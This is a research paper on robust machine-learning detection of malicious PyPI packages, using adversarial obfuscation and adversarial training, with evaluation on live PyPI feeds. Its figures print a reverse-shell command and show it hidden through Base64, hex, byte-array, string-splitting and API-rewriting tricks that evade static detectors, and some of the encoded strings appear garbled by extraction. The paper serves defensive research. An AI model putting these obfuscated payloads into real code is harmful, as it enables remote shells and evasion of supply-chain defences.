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Abstract—The rise of supply chain attacks via malicious Python
packages calls for robust and adaptable detection solutions.
However, current approaches overlook two critical challenges:
(i) robustness to adversarial source code transformations, and
(ii) the lack of adaptability to different actors in the soft-
ware supply chain with different false positive rate (FPR)
requirements, from repository maintainers (very low FPR) to
enterprise security teams (higher FPR tolerance). To address
these challenges, in this work we introduce a new robust
detector that can be seamlessly integrated into both public
repositories like PyPI and enterprise ecosystems.

To thoroughly evaluate the robustness of our detector, we
propose a novel methodology to generate adversarial packages
by leveraging a new set of fine-grained code transformations
based on code obfuscation techniques. By combining these ad-
versarial packages with adversarial training (AT), we enhance
the robustness of our detector by 2.5x.

We comprehensively evaluate the effectiveness of AT by
testing our detector against a large dataset of 122,398 packages
collected daily from PyPI over 80 days, showing that AT needs
to be applied carefully: on the one hand, it makes the detector
more robust to obfuscations and allows finding 10% more
obfuscated packages, but on the other hand it introduces a
negative effect by slightly decreasing the performance on non-
obfuscated packages.

To demonstrate its adaptability in production, we conduct
two vetting case studies by tuning the detector to different
FPR thresholds: (i) one for PyPI maintainers with a low FPR
(0.1%) and (ii) one for enterprise security teams with a higher
FPR (10%). In the first case study, we evaluate our final
detector on 91,949 packages collected over 37 days, achieving
an average daily detection rate of 2.48 malicious packages with
only 2.18 false positives per day. In the second one, we analyze
1,596 packages adopted by a multinational software company,
achieving only 1.24 false positives on average per day. These
results show that our detector can be seamlessly integrated into
both public repositories like PyPI and enterprise ecosystems,
ensuring a very low time budget of a few minutes to review
the false positives.

Overall, our detector uncovered a total of 346 malicious
packages, now reported to the community.
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1. Introduction

Supply chain attacks are a growing threat to the software
industry. According to the 2024 State of the Software Supply
Chain report published by Sonatype, the number of mali-
cious packages discovered in the wild had a yearly increase
of 156%, with 512,847 new malicious packages identified
in 2024 [1]. Recently, PyPI, one of the main ecosystems for
Python packages, has faced a growing number of attacks
that even led to a temporary halt in the creation of new
projects and the registration of new users [2], [3].

To prevent the spread of malicious software packages
before they cause considerable harm, it is crucial to accu-
rately and swiftly analyze newly uploaded packages. Yet,
the detection of malicious packages is still an open problem
in real-world scenarios [1]. While this has been the subject
of several recent studies [4], [5], [6], [7], [8], [9], the current
state-of-the-art overlooks two important open challenges.
First, existing approaches do not consider robustness to
adversarial transformations, which is a crucial factor in an
adversarial environment. Second, researchers have not yet
studied how a given solution can be adapted to different
stakeholders, who in turn have different requirements in
terms of acceptable false positive rates (FPRs) and tolerance
for false negatives (FNs). For instance, repository maintain-
ers with scarce resources might prioritize low FPR, while
dedicated enterprise security teams might tolerate higher
FPR in exchange for better security guarantees.

Adversarial Setting — Several detectors based on static sig-
natures and machine learning techniques have been proposed
to identify malicious packages in popular ecosystems such
as PyPI and NPM [4], [5], [6], [7], [8], [9]. However, none
of the previous studies have systematically evaluated the ro-
bustness of the current malicious package detectors against
adversarial attacks, i.e., carefully crafted inputs that are
designed to mislead the system into making incorrect pre-
dictions [10], [11]. This is a significant gap in the literature,
since a clear understanding of adversarial transformations
would open the door to more effective countermeasures,
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Figure 1: Proposed approach: we design a robust and adaptive detector of malicious Python packages, which can be tuned
to the needs of different actors in the software supply chain, from PyPI maintainers to enterprise security teams.

for instance, by leveraging adversarial training (AT) [10],
a well-known technique that augments training data with
adversarial examples, thereby enabling the detector to with-
stand the corresponding evasive attack patterns at test time.
However, to the best of our knowledge, no prior study has
thoroughly evaluated the effectiveness of AT in the context
of malicious package detection.

Operational Tuning — Existing solutions were not designed
to address the needs of different actors in the software
supply chain, who have different requirements in terms
of detection and false positive rates. For instance, reposi-
tory maintainers require a very low FPR due to the high
volume of packages uploaded daily, but can tolerate false
negatives [12]. It is worth mentioning that in 2020, PyPI
introduced a malware scanning pilot, but it was discontinued
two years later due to the overwhelming number of false
positives [12]. This clearly indicates that current solutions
fail to meet the needs of repository maintainers. On the
other hand, security engineers in software enterprises need
to monitor only a small subset of the available packages
(typically those actively used within their organization), and
therefore can tolerate a higher FPR in exchange for better
detection performance. Hence, a flexible solution that can
be easily customized to the needs of different actors in the
software supply chain is highly desirable.

Contributions — In this work, we aim to fill the above-
mentioned gaps by introducing a novel robust approach (see
Figure 1) that can be easily customized to the needs of
different actors in the software supply chain by tuning the
classification threshold to the desired FPR. We extensively
evaluate our solution on real-world datasets to demonstrate
its robustness and adaptability in real-world scenarios. To
this end, our study makes several contributions.

First, we propose a novel methodology to generate ad-
versarial packages — malicious packages generated by lever-
aging functionality-preserving adversarial transformations of
the source code, i.e., transformations that modify the source
code of malicious packages without compromising their
malicious intent, while preserving syntactic and semantic
correctness [13], [14]. Specifically, we focus on the PyPI

ecosystem and propose a novel set of transformations that
can be applied to Python source code. We show that our
transformations effectively bypass several state-of-the-art
detectors with an 87.42% success rate.

Second, we comprehensively evaluate the effectiveness
of adversarial training (AT) in the context of malicious pack-
age detection by experimenting on a real-world dataset of
122,398 packages collected daily from PyPI over a period of
80 days. Our results show that AT has a double-edged effect.
On the one hand, it significantly improves the robustness of
our detector by 2.5x against the adversarial transformations
and allows finding 6 (+10%) more obfuscated packages
compared to the baseline detector. On the other hand, it
negatively impacts, even if slightly, the performance on non-
obfuscated packages (+2 malicious packages detected by the
baseline w.r.t. the AT-based detector). To the best of our
knowledge, this is the first study that proposes a system-
atic methodology to evaluate the robustness of malicious
package detectors against adversarial attacks in the problem
space [13], and a thorough evaluation of AT in this domain.

Third, we thoroughly evaluate the adaptability of our
solution on two real-world case studies: a first study ad-
dressing the needs of PyPI maintainers (tuned at 0.1%
FPR) and a second one conducted in collaboration with
an enterprise security team (tuned at 10% FPR). Both case
studies lasted for 37 days. In the first study, we analyzed
91,949 packages collected from PyPI and our solution was
able to detect an average of 2.48 malicious packages per
day, with only 2 false positives to analyze per day, thus
ensuring a very low effort for the PyPI maintainers to vet
the results. In the second case, our solution was used to
monitor 1,596 packages adopted by a large multinational
software company, and, even if using a very high FPR of
10%, we achieved an average of 1.24 false positives to
analyze per day, which implies only a few minutes of work
for an enterprise security team.

Overall, we identified and reported to the community
346 malicious Python packages.

Finally, to foster further research on this topic we release
our code and data to the research community at this link:
https://github.com/SAP-samples/robust-pypi-detector.



2. Methodology

This section describes the proposed methodology for
generating adversarial packages. These packages serve two
distinct purposes: (i) to assess the adversarial robustness of
the detectors evaluated in our experiments, and (ii) to im-
prove their robustness through adversarial training (AT) by
incorporating adversarial packages into the training process.
To this end, we first describe the adversarial transformations
used to generate the adversarial packages (Section 2.1), and
then detail the process of adversarial training (Section 2.2).

2.1. Adversarial Transformations of Source Code

The adversarial transformations adopted in our work are
summarized in Table 1. The list consists of a set of fine-
grained and functionality-preserving operations based on
common code obfuscation techniques proposed by Schrit-
twieser et al. [15]. Their goal is to modify the source code
of a given package without compromising its (malicious)
functionality, preserving the syntactic and semantic correct-
ness of the code while making it more challenging for static
analyzers and detectors based on static features to identify
the malicious content.

In particular, in our work we focus on obfuscation
of security-relevant strings (i.e., IPs, URLs, system com-
mands), API calls, and techniques that modify the structure
of the source code to evade detection. To this end, we
leveraged the categorization proposed by Ladisa et al. [16],
which classifies the most common obfuscation techniques
used by malicious packages into three main categories:
data obfuscation, static code transformations, and dynamic
code transformations. Given our focus on static classifiers,
we cover the transformations in the first two categories
and tailor their implementation to the Python programming
language. To generate adversarial packages, these transfor-
mations are combined together and optimized against the
target detector by leveraging a state-of-the-art black-box
optimization algorithm (described in Section 2.2).

Moreover, we remark that, while our transformations are
built on insights from previous research [16], [15], no prior
work has comprehensively evaluated their effectiveness for
assessing the adversarial robustness of malicious package
detectors. As for the novelty of our methodology, in this
work we introduce a new transformation named API ob-
fuscation — to the best of our knowledge never studied in
previous work — that leverages Python’s polymorphic syntax
to rewrite API calls in diverse ways to evade detection.
Furthermore, we would like to highlight that all the trans-
formations are functionality-preserving by design, as they
leverage built-in functionalities of the Python programming
language that preserve the original semantics of the code and
maintain syntactic correctness. Finally, we remark that we
have extensively validated the correctness and functionality-
preserving nature of our transformations through several
unit tests and verified their correctness on some real-world
malicious packages.

# Malicious payload: "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
1 os.system(__import__("base64").b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8XMCAwLjAUMS84
MDgwIDA+JjE=").decode())

2 os.system(bytes.fromhex("62617368202d69203e26202f6465762f7463702f31302e302e302312
£3830383020303e2631") . decode())

3 os.system(bytes([98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 160, 101, 118,
47, 116, 99, 112, 47, 49, 48, 46, 48, 46, 48, 46, 49, 47, 56, 48, 56, 48, 32, 48,
62, 38, 49]).decode())

Figure 2: Example of how to obfuscate the malicious pay-
load "bash -i >& /dev/tcp/10.0.0.1/8080
0>&1" (reverse shell) with the corresponding string
encoded in Base64 (line #1), hexadecimal (line #2) and
byte array representation (line #3), which is then decoded at
runtime and executed using the os.system () function.

2.1.1. Data Obfuscation. This category comprises a set
of transformations that modify the way strings are repre-
sented within the source code, to obfuscate them from static
analysis techniques. Malicious packages often include hard-
coded strings such as URLs or IP addresses that point to a
Command and Control (C&C) server, or a shell command
to execute a reverse shell [17], [16]. Since these indicators
can reveal information about the attacker’s techniques and
intended goals, from an attacker’s point of view it is crucial
to leverage data obfuscation techniques to evade detection
and hide details that could expose their identity. For these
reasons, even though these transformations can be applied to
any string in the source code, our work focuses specifically
on strings representing URLs, IPs and system commands.
Nevertheless, we remark that these transformations can be
applied to any string in the source code.

Encoding. This transformation consists of encoding a
given string using a specific encoding scheme, replac-
ing the original string with the encoded version, and
decoding it at runtime to retrieve the original content.
Among the main encoding schemes, we consider Base64,
Base32, Basel6, and hexadecimal encoding, as they have
been observed in many real-world attacks [18], [19] and
are natively supported by Python. In our implementa-
tion, the encoding scheme is randomly selected for each
string to be obfuscated, and the decoding function is im-
ported (if needed) and executed inline. For instance, Fig-
ure 2 shows how the malicious payload "bash -i >s&
/dev/tcp/10.0.0.1/8080 0>&1" (a reverse shell),
which can be executed using the os.system() func-
tion, is replaced with the corresponding encoded string
in Base64 (line #1) or hexadecimal (line #2), and then
decoded at runtime using the related decoding functions
(i.e., b64decode () and fromhex ()).

Binary Arrays. This transformation consists of represent-
ing strings as binary arrays. In this way, attackers can
manipulate them using bitwise operations, XOR opera-
tions, or with custom encoding schemes to further ob-
fuscate the strings [16], [20]. To this end, Python pro-
vides the bytearray () and bytes () functions that
can be used to represent and manipulate binary data. Fig-
ure 2 shows how the malicious payload "bash -i >&

/dev/tcp/10.0.0.1/8080 0>&1" is replaced with



Category Transformation

Description

Encoding

Encode the string using a specific encoding scheme,
such as Base64, Base32, Basel6, or hexadecimal.

Data

Obfuscation Binary Arrays

Represent the string as a binary array

and manipulate it using bitwise operations.

Data Reordering

Split the string into multiple substrings
and reorder them at runtime.

Renaming Identifiers

Rename identifiers (e.g., variables and function names)
to evade detection by static analysis tools.

Useless Code
Injection

Static Code
Transformation

Inject dead or useless code snippets to hide
the malicious content and increase analysis complexity.

API Obfuscation

Replace an API import, call, or reference in the source code
with a semantically equivalent syntax to evade detection.

TABLE 1: Summary of the adversarial transformations adopted in this work.

# Malicious payload: "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
1 si1, s2, s3, s4 = "bash -i >& ", "/dev/tcp/", "10.0.0.1/8080 ", "0>&1"

2 os.system(sl + s2 + s3 + s4)
3 os.system("".join([sl, s2, s3, s4]))
4 os.system("{}{}{}{}".format(s1l, s2, s3, s4))

5 os.system(f"{s1}{s2}{s3}{s4}")

o

for ¢ in [s1, s2, s3, s4]:
7 S += C
os.system(s)

o

Figure 3: Example of how to split the malicious payload
"bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
into multiple substrings and reorder them in several
equivalent ways in Python.

the corresponding byte array representation (line #3), which
is then decoded and executed at runtime.

Data Reordering. This transformation involves splitting
strings into multiple substrings and reordering them to ob-
fuscate the original content. Detection is complicated by the
fact that programming languages like Python and JavaScript
offer many ways to reorder substrings. For instance, as
shown in Figure 3, the malicious payload "bash -i
>& /dev/tcp/10.0.0.1/8080 0>&1" can be split
into multiple substrings (line #1) and reordered in several
equivalent approaches: by joining the substrings with the +
operator (line #2), by using the join () function of the
str class (line #3), by creating a formatted string using
the format () function (line #4), by using the f-string
syntax (line #5), or by concatenating the substrings using a
for loop (lines #6-8).

2.1.2. Static Code Transformation. This category includes
transformations that obfuscate the source code by modifying
its structure without changing its functionality.

Renaming Identifiers. This transformation, observed in
real-world attacks [21], involves renaming identifiers (e.g.,
variable, function and class names) in the source code
to evade detection by static analysis tools. For instance,
when importing a module or a method such as from os
import system, the attacker can rename the system
method to evade detection, as in from os import
system as _ssystemn. In this work, we support renam-

ing identifiers representing security-sensitive modules and
related methods such as os.system(), widely used to
execute system commands.

Useless Code Injection. This transformation involves inject-
ing useless code snippets into the source code to conceal the
malicious content and make the malicious package appear
more similar to benign ones, thereby increasing the com-
plexity of the analysis process. We implement this transfor-
mation by adding comments, whitespace characters, or code
snippets that do not affect the package’s functionality.

API obfuscation. This novel transformation consists of
obfuscating API calls in the source code by rewriting them
using an alternative but semantically equivalent syntax
to avoid detection by static analysis tools, particularly
those relying on pattern matching of API calls, such
as GuardDog [22]. Specifically, as shown in Figure 4,
this transformation leverages the polymorphic nature of
Python’s syntax to import a module, call a method (or
a function), and reference a given method included in a
module. As for modules’ imports, the common import
statement can be replaced with the __ import__ ()
function that allows to import a module dynamically. For
example, the statement import os can be replaced with
__import__ ("os"). Similarly, the standard way of
calling a method, i.e., method(...), can be replaced
with the equivalent method.__call__ (...). Finally,
to reference a method included in a module, the standard
syntax (i.e., module.method) can be replaced with
these alternatives: getattr (module, "method"),
module._ _getattribute_ ("method"), as well
as module._ dict__ ["method"]. These obfuscation
techniques can also be combined to further complicate
analysis. For instance, the payload "bash -1 >&
/dev/tcp/10.0.0.1/8080 0>&1" can be equiva-
lently rewritten as: getattr(__import__ ("os"),
"system").__call__ ("bash -1 >¢&
/dev/tcp/10.0.0.1/8080 0>&1").

2.2. Adversarial Training

To improve the adversarial robustness of our solution,
we leveraged AT [23], [10]. The core idea is to generate
and include adversarial examples (i.e., adversarial packages,



Importing a module Method call

- Default
function(...)

- Using import statement
import module

- Inline import
__import__("module")

-Usingthe __call__method
function.__call_ (...)

Referencing a module’s method

- Using import statement
from module import method

method(...)

-Using __dict__ statement:
module.__dict__["method"]

- Using __getattribute__ statement:
module._ getattribute__ ("method")

- Using getattr() method:
getattr(module, "method")

Multiple ways to rewrite the statement os.system(<PAYLOAD>)

os.system.__call__(<PAYLOAD>)
os.__dict__["system"](<PAYLOAD>)
os.__dict__ ["system"].__call__(<PAYLOAD>)
os.__getattribute__ ("system")(<PAYLOAD>)
os.__getattribute_ ("system").__call__(<PAYLOAD>)
__import__("os").system(<PAYLOAD>)
 __import__("os").system.__call__(<PAYLOAD>)
__import__("os").__dict__["system"](<PAYLOAD>)
__import__(" __dict__["system"].__call__(<PAYLOAD>)
__import__(" __getattribute__("system")(<PAYLOAD>)
__import__("os")._ getattribute_ ("system").__call__(<PAYLOAD>)
getattr(os, "system")(<PAYLOAD>)
getattr(os, "system")._ call__ (<PAYLOAD>)
getattr(__import__("os"), "system")(<PAYLOAD>)
getattr(__import__("os"), "system").__call__(<PAYLOAD>)

Figure 4: Example of API obfuscation transformation to rewrite a module import, a method call, and a method reference

using an alternative but semantically equivalent syntax.

in our case) during training, thereby enabling the model to
withstand the corresponding evasive attack patterns at test
time. In common machine learning applications, such as
image recognition, AT leverages gradient-based attacks to
craft adversarial examples in the feature space [23], as the
corresponding optimization problem is end-to-end differen-
tiable. However, for several cybersecurity domains, includ-
ing malware detection [11], [14], phishing [24] and web ap-
plication firewalls [25], this is not directly applicable as the
considered transformations are not end-to-end differentiable,
given the presence of non-differentiable feature extraction
steps. Moreover, gradient-based attacks cannot be applied
to machine learning models that are not differentiable, such
as tree-based models that are widely used in the field of
malicious package detection [4], [26]. For these reasons,
following prior works in other cybersecurity domains [25],
[14], [24], we adopted problem-space AT, which leverages
practical functionality-preserving transformations, combined
with black-box optimization algorithms.

Specifically, we leveraged the query-efficient black-box
optimizer introduced by Montaruli et al. [24], which relies
on mutation-based fuzzing techniques. Its goal is to mutate
the original malicious package by leveraging the adversarial
transformations described in Section 2.1 to minimize the
confidence score returned by the machine learning model
(i.e., the objective function of the optimization), using an it-
erative approach consisting of consecutive mutation rounds.

To improve query efficiency, the transformations are
categorized into single-round (SR) and multi-round (MR).
The former (SR) are applied only once to the original
sample, while the latter (MR) are applied iteratively to the
adversarial package generated in the previous round. In our
implementation, all data obfuscation transformations are im-
plemented as SR transformations. Specifically, for each type
of IOC (IP, URL, system commands), we randomly select
one transformation from encoding, compression, encryption,
or binary array representations and apply it to all related

strings in the source code. As for static code transformations,
they are implemented as SR transformations except for use-
less code injection, which is treated as a MR transformation,
since the amount of injected code required to reduce the
model’s confidence score (i.e., to evade detection) is not
known a priori.

3. Experiments

In this section we describe the experimental setup, the
detectors and the datasets used in our tests. Finally, we
introduce the research questions we want to explore in our
experiments.

3.1. Detectors

Several detectors have been proposed by the research
community to detect supply-chain attacks, often using dif-
ferent approaches and relying on different features. As a
baseline, we will use GuardDog [22], a tool for malicious
package detection based on static rules.

Most of the solutions based on machine learning that
have been proposed to date are not available, and those that
are, such as the one proposed by Ladisa et al. [4], do not
include several key features that have been shown to be very
effective in detecting malicious packages [5], [9].

Hence, to build our state-of-the-art detector (SoA here-
inafter), we took the open-source tool released by Ladisa
et al. [4] as a starting point and extended its feature set
to include missing key features to capture the presence of
security-sensitive APIs and suspicious behaviors [5], [9].

The complete feature set of our SoA detector is summa-
rized in Table 2. On top of those already provided by the
tool, we added the following three classes (highlighted in
green in Table 2 and detailed below): API-related, behavior-
related and obfuscation-related (based on the adversarial
transformations described in Section 2.1) features.



Category Features Size

5

Presence of installation hook(s) in setup.py

Structural Count of lines (source and metadata)

Count of words (source and metadata)

Count of files per selected extensions (.js, .md, ...)

API Count of security-related APT

Behavior Count of suspicious behaviors

Count of adversarial patterns (source and metadata)

Statistics (mean, std. deviation, 3rd quartile and max)
of Shannon entropy of strings (source and metadata)

z| zZz|z|z|z|ZZZ4w
[
G

Statistics (mean, std. deviation, 3rd quartile and max)

Obfuscation of Shannon entropy of identifiers (source and metadata)

Count of homogeneous and
heterogenous strings (source and metadata)

Count of homogeneous and
heterogenous identifiers (source and metadata)

z
o~

Count of URLs (source and metadata)

Count of IP addresses (source and metadata)

Count of suspicious tokens in
strings (source and metadata)

St Count of base64 strings (source and metadata)
tring

Statistics (mean, std. deviation, 3rd quartile and max)
of ratio of square brackets per source code file size

0 [N N[

Statistics (mean, std. deviation, 3rd quartile and max)
of ratio of equal signs per source code file size
Statistics (mean, std. deviation, 3rd quartile and max)
of ratio of plus signs per source code file size

Z | z| z|z z|Z2zZ

TABLE 2: Summary of the features adopted by the SoA
detector. N: numeric feature, B: boolean feature. Features
in green are those added in this work.

API-related features. These features are designed to de-
tect the usage of security-sensitive APIs that are com-
monly used to perform malicious actions, such as execut-
ing arbitrary code, downloading files, or exfiltrating sen-
sitive information. To this end, we performed a detailed
analysis of the most common APIs used in malicious
packages of the MalwareBench dataset [27] and the cur-
rent literature [5]. We identified a set of 215 APIs that
are divided into six categories: Network, Filesystem,
Host Information, Code Execution, Command
Execution and Encoding. For each API, we used one
numeric feature representing its number of occurrences in
the source code. The complete list of APIs is shown in
Table 11 in Appendix A.

Behavior-related features. These features are designed to
detect the presence of suspicious behaviors that are com-
monly associated with malicious packages. To this end, we
adopted the behaviors defined by Guo et al. [17], namely Re-
mote Control, Information Stealing, Code Execution, Com-
mand Execution and Unauthorized File Operations. Each
behavior consists of one or more sequences of security-
sensitive APIs belonging to the categories defined above.
For instance, the Information Stealing behavior is defined
as a sequence of APIs belonging to the following cat-
egories: ([Filesystem], Host Information, [Code
Execution], Network), where the brackets indicate that
the API is optional.

To detect the presence of these behaviors, we lever-
aged a two-step approach: (i) security-sensitive APIs ex-
traction and (ii) behavior matching. In the first step, for
each file, we extracted the security-sensitive APIs from

the Abstract Syntax Tree (AST) representation of the code
by leveraging the ast module in Python. In the second
step, we replaced each API with the corresponding category
and matched the obtained sequence of categories against
the predefined behaviors, which are represented through
battle-tested regular expressions. The regular expressions are
designed to be flexible, i.e., they allow for the presence
of additional API categories in the sequence, as long as
the order of the categories is preserved. For instance, the
Information Stealing behavior can be detected in the (Host
Information, Command Execution, Network) se-
quence, where there is a Command Execution API be-
tween Host Information and Network APIs. Further-
more, we extensively tested the regular expressions on the
MalwareBench dataset by manually verifying that they are
able to detect the behaviors of the malicious packages in
the dataset. For each behavior, we used one numeric feature
to count the number of occurrences of the behavior in the
package. The complete list of behaviors and the related
regular expressions are shown in Table 12 in Appendix B.

Obfuscation-related features. These features are designed
to detect the presence of various obfuscation patterns that
are commonly used in malicious packages. To this end, we
leveraged a set of battle-tested regular expressions aimed
at detecting the main obfuscation techniques related to the
proposed adversarial transformations (see Section 2.1), in-
cluding all the data obfuscation techniques (such as Base64,
hexadecimal and binary encoding, as well as string split-
ting), along with API obfuscation. For each obfuscation
technique, we used one numeric feature to count the number
of occurrences of the obfuscation pattern in both the source
code and metadata (i.e., setup . py). For further implemen-
tation details, we refer the reader to Appendix A.

3.1.1. Model Training and Evaluation. All experiments
were conducted on an Ubuntu 22.04.6 LTS server equipped
with an Intel Xeon Platinum 8160 CPU @ 2.10 GHz (64
cores) and 256 GB of RAM.

To train and evaluate our detectors, we leveraged all the
tree-based models proposed by Ladisa et al. [4], namely
Decision Tree, Random Forest [28] and XGBoost [29]. We
focused only on these models for several reasons. First,
for a fair evaluation with their work. Second, tree-based
models are widely adopted in this area (e.g., by Huang et
al. [9]) for their advantages: explainability and effectiveness
at handling high-dimensional data, while maintaining good
accuracy [30]. Third, tree-based models ensure a better
trade-off between performance and computational training
cost compared to deep-learning solutions [31], which is very
important in both our enterprise and PyPI scenarios.

All models were implemented using the follow-
ing Python libraries: scikit-learn v1.5.0 [32] and
xgboost v2.1.0. To train and tune the models’ hyper-
parameters, in line with current research [33], we performed
a grid search based on a 5-fold cross-validation (CV) on
the training set [34] to ensure a fair evaluation. Since
this resulted in five different detectors (for each tree-based



model), all the results reported in the following are the
mean values of the five detectors, each one evaluated on
the corresponding test set obtained by the 5-fold CV.

3.2. Datasets

For our experiments, we adopted two types of datasets.
First, in order to compare with the state-of-the-art and
experiment with our detector, we employed MalwareBench
— a recent dataset collected in fall 2023 by Zahan et al. [27].

In addition, to perform real-world tests and measure how
the SoA detector performed in the wild, we collected a live
stream of temporally-newer package releases from PyPI over
two different time periods.

MalwareBench. MalwareBench is a state-of-the-art dataset
that includes 3,190 unique malicious and 3,368 unique
benign Python packages. We use this dataset to evaluate
the robustness of models against adversarial transformations,
as well as the effectiveness of AT and the SoA features.
We adopted the same approach as Scano et al. [25] for
splitting the MalwareBench dataset to evaluate robustness
and perform adversarial training. As for the robustness
evaluation, for each test set generated by the 5-fold
CV, we create the corresponding adversarial test
set (test-adv), which contains the same benign samples
as the original test set, but with the malicious samples
generated from the original malicious samples by applying
the proposed transformations.

As for AT, for each fold, we generate an adversarial
training set by applying the adversarial transforma-
tions to the malicious samples in the training set. Each
adversarial training set is then merged with the
corresponding training set to re-train the models.

Finally, to evaluate the robustness of the models re-
trained with AT, we generate a new adversarial test
set optimized on the re-trained models.

We would like to clarify that, although using the same
transformations and optimizer, the adversarial packages gen-
erated for building the adversarial training sets
and adversarial test sets are different. Indeed,
they are independently optimized against each target model
at test time, resulting in the application of different, optimal
transformation strategies. Hence, the two sets are indepen-
dent, ensuring an unbiased evaluation.

As for GuardDog, we evaluated its baseline detection
capabilities on the test set and its adversarial robust-
ness on the adversarial test set, but we did not
leverage AT since it is not a machine learning-based model.

Real-world datasets. We built two real-world datasets by
collecting all packages uploaded to PyPI over two different
periods of time: 1ivel (for 80 days from 02/10/2024 to
21/12/2024) and 1ive2 (for 37 days from 31/03/2025 to
06/05/2025). The 1ivel dataset contains 48,712 unique
packages and 122,398 releases, while the 1ive2 dataset
contains 38,567 unique packages and 91,949 releases. The
datasets were built by leveraging the PyPI feeds for newly

uploaded packages' and releases? in the specified time pe-
riod. We filtered out the packages without source code. After
each vetting period, we collected the ground truth labels
of the packages by leveraging the Open Source Security
Foundation (OpenSSF) [35] and PyPI [36] databases of
malicious packages. In addition, we carefully analyzed all
the packages reported as malicious by the detectors to ensure
that they were actually malicious or false positives. The
daily malicious packages found by the detectors were also
reported to the PyPI maintainers.

The real-world datasets are used to perform several
experiments. First, to evaluate the impact of AT and the
SoA features on the detection capabilities of the models in
the wild over two different time periods. Additionally, we
leveraged the 1ivel dataset to tune the number of adver-
sarial packages to be used for AT and evaluate the detection
capabilities of the models on obfuscated packages. On the
other hand, the 1ive2 dataset is used in our first case study
to perform two experiments: (i) to evaluate the impact of
using 1ivel to re-train the detectors, i.e., if using a greater
variety of packages can improve the detection capabilities
of the models, (ii) to evaluate the performance of the final
detector (based on the SoA features and trained using both
livel and AT) in production for vetting temporally-newer
packages uploaded to PyPI, when tuned with a very low
FPR threshold (0.1%).

3.3. Research Questions

[RQ.1] Adversarial transformations — How effective are
the proposed adversarial transformations in bypassing the
evaluated detectors?

[RQ.2] Adversarial robustness — To what extent does AT
improve the adversarial robustness of the tested detectors?

[RQ.3] Detection capabilities in the wild — How effective
is the SoA detector based on AT in finding malicious
packages in the wild? Is it able to detect real (obfuscated)
malicious packages that are undetected by the corresponding
baseline?

[RQ.4] Practical Deployment — How practical is the final
detector when deployed in different production settings? In
particular, how much effort is needed to verify the daily
alerts in two opposite case studies (PyPI deployment tuned
at 0.1% FPR and industrial deployment tuned at 10% FPR)?

To answer these questions, we performed an extensive
evaluation and discuss the results in the next two sections.

4. Results

Baseline Evaluation. Table 3 shows the recall (a.k.a. True
Positive Rate or TPR), at 1% FPR for the target detectors
evaluated on the MalwareBench dataset. Moreover, we de-
cided to use this operational point (1% FPR) since it is a

1. https://pypi.org/rss/packages.xml
2. https://pypi.org/rss/updates.xml



Detector MalwareBench Dataset
test test-adv
GuardDog 6.63 1.00
Decision Tree 69.14 4.60
Random Forest  90.54 12.10
XGBoost 95.27 24.30
XGBoost AT 95.64 86.81

TABLE 3: Recall (TPR) at 1% FPR of different detec-
tors evaluated on the test (baseline performance) and
test—-adv (adversarial robustness) sets.

common practice in the literature [33], [37], [11], [24], [25],
and it allowed us to perform a fair comparison among the
detectors. For completeness, in Figure 6 in Appendix B we
also provide the Receiver Operating Characteristic (ROC)
curves of all the detectors.

We evaluated the performance of all detectors on the two
variants of the dataset: test and test—adv. The former is
used to evaluate the baseline performance, while the latter to
evaluate the adversarial robustness of the detectors. The re-
sults highlight several important points. Among the different
models, XGBoost is the one with the best performance, with
a 95.27% detection rate at 1% FPR. On the other end of the
spectrum, GuardDog is the one with the worst performance,
detecting only 6.63% of the malicious packages in the
vanilla dataset. This result, aligned with the findings of Vu
et al. [12], highlights that current solutions based on static
rules do not perform well at low FPR compared to machine
learning-based approaches.

However, not surprisingly, all approaches performed
poorly on adversarial samples. Also in this case, GuardDog
was the worst (1% detection) and XGBoost the best (24.3%
detection). This shows that the adversarial packages gener-
ated by our transformations can easily bypass the current
state-of-the-art detectors.

Based on these results, we use the best-performing XG-
Boost model for the rest of the experiments.

[RQ.1] The adversarial transformations proposed in our
study are very effective at bypassing the current state-of-
the-art detectors. The detection rate of the best model
decreased from 95% to a mere 24% when tested on
obfuscated packages.

Adversarial Training. To apply AT, we first performed a
preliminary evaluation to select the number of adversarial
packages to include in the model training. To this end, we
first sorted the adversarial packages in the adversarial
training set based on the output score of the model,
and then we selected the top k adversarial packages with the
highest output score, where k is the percentage of adversar-
ial packages to be used for training the model. We then
evaluated the resulting models on the 1ivel dataset and
reported the performance in Table 4. Our experiments show
that the model performance improves by adding adversarial

Model FP TP FN TN Acc Prec Rec F1

base 1210 242 112 120832 98.92 16.67 6836 26.80
AT-10 1219 223 131 120823 9890 1546 6299 2483
AT-20 1210 246 108 120832 9892 1690 69.49 27.18
AT-30 1217 226 128 120825 98.90 15.66 63.84 25.15
AT-40 1212 231 123 120830 9891 16.01 6525 2571
AT-50 1218 237 117 120824 9891 1629 6695 2620
AT-60 1215 226 128 120827 9890 15.68 63.84 25.18
AT-70 1216 239 115 120826 9891 1643 6751 2642
AT-80 1220 227 127 120822 9890 1569 64.12 2521
AT-90 1217 220 134 120825 9890 1531 6215 2457
AT-100 1219 146 208 120823 98.83 10.70 41.24 16.99

TABLE 4: Performance metrics at 1% FPR of the XGBoost
model based on the SoA features evaluated on the 1ivel
dataset. base represents the model trained on the main
training set, while AT-X represents the model trained using
AT with the specified percentage (X) of adversarial samples.
The best results are highlighted in bold.

samples, but if too many (such as 100%) of them are added
to the training set, the performance decreases. Overall, we
found that using 20% of the adversarial packages provides
the best recall and F1-score. Hence, we used 20% of the
adversarial packages for training the detectors with AT in
the following experiments.

The last line of Table 3 shows the results of the XGBoost
model trained with AT on the MalwareBench dataset. We
can clearly see that AT significantly improves the robustness
of the XGBoost model against the proposed adversarial
transformations while keeping the same performance on the
baseline test set.

[RQ.2] AT significantly improves the robustness against
the same set of transformations up to 2.5X increase over
the baseline.

Real-World Experiments. We now present the results of
our evaluation on the 1ivel dataset. As explained before,
this was conducted on a live PyPI feed by using the XG-
Boost model. The results are reported in Table 4.

For this experiment we compared the XGBoost model
trained with AT using 20% of the adversarial packages (the
best configuration — see Table 4) and the corresponding
baseline model (base — trained without AT).

As a first observation, we can see that the two detectors
have very similar performance, with the one trained with
AT performing slightly better overall (+1% detection rate).
This small increment shows that while AT is important,
malicious packages observed in the wild today adopt the
obfuscation techniques we described in the paper only to a
limited extent.

This is confirmed by Figure 5, which shows a detailed
analysis of the malicious packages found by the detectors in
the 1ivel dataset. Overall, the two models (baseline and
